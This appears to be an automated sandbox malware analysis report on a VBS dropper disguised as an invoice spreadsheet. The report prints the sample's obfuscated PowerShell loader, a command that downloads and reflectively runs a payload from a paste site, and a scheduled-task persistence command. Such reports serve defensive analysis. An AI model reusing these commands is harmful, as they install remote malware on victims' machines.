Malware Analysis Report

2025-06-16 01:16

Sample ID 231212-syk1ssfdgp
Target Billed-report2023xls.vbs
SHA256 da59502967c26be14e52f229feb80beb4672ad5454eb943969f1da9a21815886
Tags
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

da59502967c26be14e52f229feb80beb4672ad5454eb943969f1da9a21815886

Threat Level: Known bad

The file Billed-report2023xls.vbs was found to be: Known bad.

Malicious Activity Summary


Checks computer location settings

Enumerates physical storage devices

Creates scheduled task(s)

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Uses Task Scheduler COM API

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-12-12 15:32

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-12-12 15:32

Reported

2023-12-12 15:37

Platform

win7-20231129-en

Max time kernel

121s

Max time network

121s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs"

Signatures

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2240 wrote to memory of 2172 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\schtasks.exe
PID 2240 wrote to memory of 2172 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\schtasks.exe
PID 2240 wrote to memory of 2172 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\schtasks.exe
PID 2240 wrote to memory of 2108 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\schtasks.exe
PID 2240 wrote to memory of 2108 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\schtasks.exe
PID 2240 wrote to memory of 2108 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\schtasks.exe
PID 2240 wrote to memory of 3068 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2240 wrote to memory of 3068 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2240 wrote to memory of 3068 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3068 wrote to memory of 2600 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3068 wrote to memory of 2600 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3068 wrote to memory of 2600 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs"

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /delete /tn mi /f

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /tn mi /tr "C:\Users\Admin\AppData\Local\Temp\mi.vbs" /sc minute /mo mi

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $dgUdYL = 'J▒Bu▒Hg▒d▒Bv▒Ho▒I▒▒9▒C▒▒Jw▒w▒DM▒N▒▒n▒Ds▒J▒B3▒G0▒Z▒B0▒H▒▒I▒▒9▒C▒▒Jw▒l▒H▒▒egBB▒GM▒TwBn▒Ek▒bgBN▒HI▒JQ▒n▒Ds▒WwBC▒Hk▒d▒Bl▒Fs▒XQBd▒C▒▒J▒Bu▒HY▒ZQBi▒Gg▒I▒▒9▒C▒▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EM▒bwBu▒HY▒ZQBy▒HQ▒XQ▒6▒Do▒RgBy▒G8▒bQBC▒GE▒cwBl▒DY▒N▒BT▒HQ▒cgBp▒G4▒Zw▒o▒C▒▒K▒BO▒GU▒dw▒t▒E8▒YgBq▒GU▒YwB0▒C▒▒TgBl▒HQ▒LgBX▒GU▒YgBD▒Gw▒aQBl▒G4▒d▒▒p▒C4▒R▒Bv▒Hc▒bgBs▒G8▒YQBk▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwB0▒GU▒e▒B0▒GI▒aQBu▒C4▒bgBl▒HQ▒LwBy▒GE▒dw▒v▒GU▒egBq▒G0▒bwBm▒Ho▒MwBz▒DY▒Jw▒p▒C▒▒KQ▒g▒Ck▒OwBb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QQBw▒H▒▒R▒Bv▒G0▒YQBp▒G4▒XQ▒6▒Do▒QwB1▒HI▒cgBl▒G4▒d▒BE▒G8▒bQBh▒Gk▒bg▒u▒Ew▒bwBh▒GQ▒K▒▒k▒G4▒dgBl▒GI▒a▒▒p▒C4▒RwBl▒HQ▒V▒B5▒H▒▒ZQ▒o▒Cc▒TQBh▒HI▒YQBj▒GE▒aQBi▒G8▒LgBD▒Gw▒YQBz▒HM▒MQ▒n▒Ck▒LgBH▒GU▒d▒BN▒GU▒d▒Bo▒G8▒Z▒▒o▒Cc▒TQBz▒HE▒QgBJ▒GI▒WQ▒n▒Ck▒LgBJ▒G4▒dgBv▒Gs▒ZQ▒o▒CQ▒bgB1▒Gw▒b▒▒s▒C▒▒WwBv▒GI▒agBl▒GM▒d▒Bb▒F0▒XQ▒g▒Cg▒Jw▒w▒C8▒d▒BU▒FM▒VQBY▒C8▒Z▒▒v▒GU▒ZQ▒u▒GU▒d▒Bz▒GE▒c▒▒v▒C8▒OgBz▒H▒▒d▒B0▒Gg▒Jw▒g▒Cw▒I▒▒k▒Hc▒bQBk▒HQ▒c▒▒g▒Cw▒I▒▒n▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒bgB4▒HQ▒bwB6▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $dgUdYL.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs');powershell -command $KByHL;

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$nxtoz = '034';$wmdtp = 'C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs';[Byte[]] $nvebh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('https://textbin.net/raw/ezjmofz3s6') ) );[system.AppDomain]::CurrentDomain.Load($nvebh).GetType('Maracaibo.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/tTSUX/d/ee.etsap//:sptth' , $wmdtp , '____________________________________________-------', $nxtoz, '1', 'Roda' ));"

Network

Country Destination Domain Proto
US 8.8.8.8:53 textbin.net udp

Files

memory/3068-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

memory/3068-6-0x00000000027F0000-0x00000000027F8000-memory.dmp

memory/3068-7-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

memory/3068-8-0x0000000002840000-0x00000000028C0000-memory.dmp

memory/3068-9-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

memory/3068-11-0x0000000002840000-0x00000000028C0000-memory.dmp

memory/2600-18-0x0000000002D60000-0x0000000002DE0000-memory.dmp

memory/2600-19-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3PDNJ79HV0KCUCC0YYC7.temp

MD5 9292eff7e0e514f0cd05283ce51b968c
SHA1 4deb0c19e0ec9f2ce726e3ebe97b5dbe10e92e68
SHA256 447f6fc85471d6cd111939947e3dd4b0f6da2d5e6b745b640bf72f29a8bdcfd9
SHA512 e71df3f40e3a2a32ae4d3c65178c07004527d583c4179f603c47eac92e56f478eaffea06ecb792492bfe24ee2e90a0806c8ccffbc0bf257774a0511c4ca318ea

memory/3068-13-0x0000000002840000-0x00000000028C0000-memory.dmp

memory/2600-22-0x0000000002D60000-0x0000000002DE0000-memory.dmp

memory/2600-21-0x0000000002D60000-0x0000000002DE0000-memory.dmp

memory/2600-20-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

memory/3068-10-0x0000000002840000-0x00000000028C0000-memory.dmp

memory/3068-23-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

memory/3068-24-0x0000000002840000-0x00000000028C0000-memory.dmp

memory/3068-25-0x0000000002840000-0x00000000028C0000-memory.dmp

memory/2600-26-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

memory/3068-27-0x000007FEF5820000-0x000007FEF61BD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-12-12 15:32

Reported

2023-12-12 15:37

Platform

win10v2004-20231130-en

Max time kernel

125s

Max time network

52s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3936660601-1848837011-2142350499-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Uses Task Scheduler COM API

persistence

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs"

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /delete /tn mi /f

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /tn mi /tr "C:\Users\Admin\AppData\Local\Temp\mi.vbs" /sc minute /mo mi

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $dgUdYL = 'J▒Bu▒Hg▒d▒Bv▒Ho▒I▒▒9▒C▒▒Jw▒w▒DM▒N▒▒n▒Ds▒J▒B3▒G0▒Z▒B0▒H▒▒I▒▒9▒C▒▒Jw▒l▒H▒▒egBB▒GM▒TwBn▒Ek▒bgBN▒HI▒JQ▒n▒Ds▒WwBC▒Hk▒d▒Bl▒Fs▒XQBd▒C▒▒J▒Bu▒HY▒ZQBi▒Gg▒I▒▒9▒C▒▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EM▒bwBu▒HY▒ZQBy▒HQ▒XQ▒6▒Do▒RgBy▒G8▒bQBC▒GE▒cwBl▒DY▒N▒BT▒HQ▒cgBp▒G4▒Zw▒o▒C▒▒K▒BO▒GU▒dw▒t▒E8▒YgBq▒GU▒YwB0▒C▒▒TgBl▒HQ▒LgBX▒GU▒YgBD▒Gw▒aQBl▒G4▒d▒▒p▒C4▒R▒Bv▒Hc▒bgBs▒G8▒YQBk▒FM▒d▒By▒Gk▒bgBn▒Cg▒I▒▒o▒E4▒ZQB3▒C0▒TwBi▒Go▒ZQBj▒HQ▒I▒BO▒GU▒d▒▒u▒Fc▒ZQBi▒EM▒b▒Bp▒GU▒bgB0▒Ck▒LgBE▒G8▒dwBu▒Gw▒bwBh▒GQ▒UwB0▒HI▒aQBu▒Gc▒K▒▒n▒Gg▒d▒B0▒H▒▒cw▒6▒C8▒LwB0▒GU▒e▒B0▒GI▒aQBu▒C4▒bgBl▒HQ▒LwBy▒GE▒dw▒v▒GU▒egBq▒G0▒bwBm▒Ho▒MwBz▒DY▒Jw▒p▒C▒▒KQ▒g▒Ck▒OwBb▒HM▒eQBz▒HQ▒ZQBt▒C4▒QQBw▒H▒▒R▒Bv▒G0▒YQBp▒G4▒XQ▒6▒Do▒QwB1▒HI▒cgBl▒G4▒d▒BE▒G8▒bQBh▒Gk▒bg▒u▒Ew▒bwBh▒GQ▒K▒▒k▒G4▒dgBl▒GI▒a▒▒p▒C4▒RwBl▒HQ▒V▒B5▒H▒▒ZQ▒o▒Cc▒TQBh▒HI▒YQBj▒GE▒aQBi▒G8▒LgBD▒Gw▒YQBz▒HM▒MQ▒n▒Ck▒LgBH▒GU▒d▒BN▒GU▒d▒Bo▒G8▒Z▒▒o▒Cc▒TQBz▒HE▒QgBJ▒GI▒WQ▒n▒Ck▒LgBJ▒G4▒dgBv▒Gs▒ZQ▒o▒CQ▒bgB1▒Gw▒b▒▒s▒C▒▒WwBv▒GI▒agBl▒GM▒d▒Bb▒F0▒XQ▒g▒Cg▒Jw▒w▒C8▒d▒BU▒FM▒VQBY▒C8▒Z▒▒v▒GU▒ZQ▒u▒GU▒d▒Bz▒GE▒c▒▒v▒C8▒OgBz▒H▒▒d▒B0▒Gg▒Jw▒g▒Cw▒I▒▒k▒Hc▒bQBk▒HQ▒c▒▒g▒Cw▒I▒▒n▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒Xw▒t▒C0▒LQ▒t▒C0▒LQ▒t▒Cc▒L▒▒g▒CQ▒bgB4▒HQ▒bwB6▒Cw▒I▒▒n▒DE▒Jw▒s▒C▒▒JwBS▒G8▒Z▒Bh▒Cc▒I▒▒p▒Ck▒Ow▒=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $dgUdYL.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs');powershell -command $KByHL;

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$nxtoz = '034';$wmdtp = 'C:\Users\Admin\AppData\Local\Temp\Billed-report2023xls.vbs';[Byte[]] $nvebh = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('https://textbin.net/raw/ezjmofz3s6') ) );[system.AppDomain]::CurrentDomain.Load($nvebh).GetType('Maracaibo.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/tTSUX/d/ee.etsap//:sptth' , $wmdtp , '____________________________________________-------', $nxtoz, '1', 'Roda' ));"

Network

Country Destination Domain Proto
US 8.8.8.8:53 textbin.net udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4mrvfzbj.uzw.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4372-6-0x0000020D74140000-0x0000020D74162000-memory.dmp

memory/4372-11-0x00007FF83F840000-0x00007FF840301000-memory.dmp

memory/4372-13-0x0000020D71F50000-0x0000020D71F60000-memory.dmp

memory/4372-12-0x0000020D71F50000-0x0000020D71F60000-memory.dmp

memory/832-23-0x00007FF83F840000-0x00007FF840301000-memory.dmp

memory/832-25-0x000001DBEC700000-0x000001DBEC710000-memory.dmp

memory/832-24-0x000001DBEC700000-0x000001DBEC710000-memory.dmp

memory/832-26-0x000001DBEC700000-0x000001DBEC710000-memory.dmp

memory/832-29-0x00007FF83F840000-0x00007FF840301000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

memory/4372-33-0x00007FF83F840000-0x00007FF840301000-memory.dmp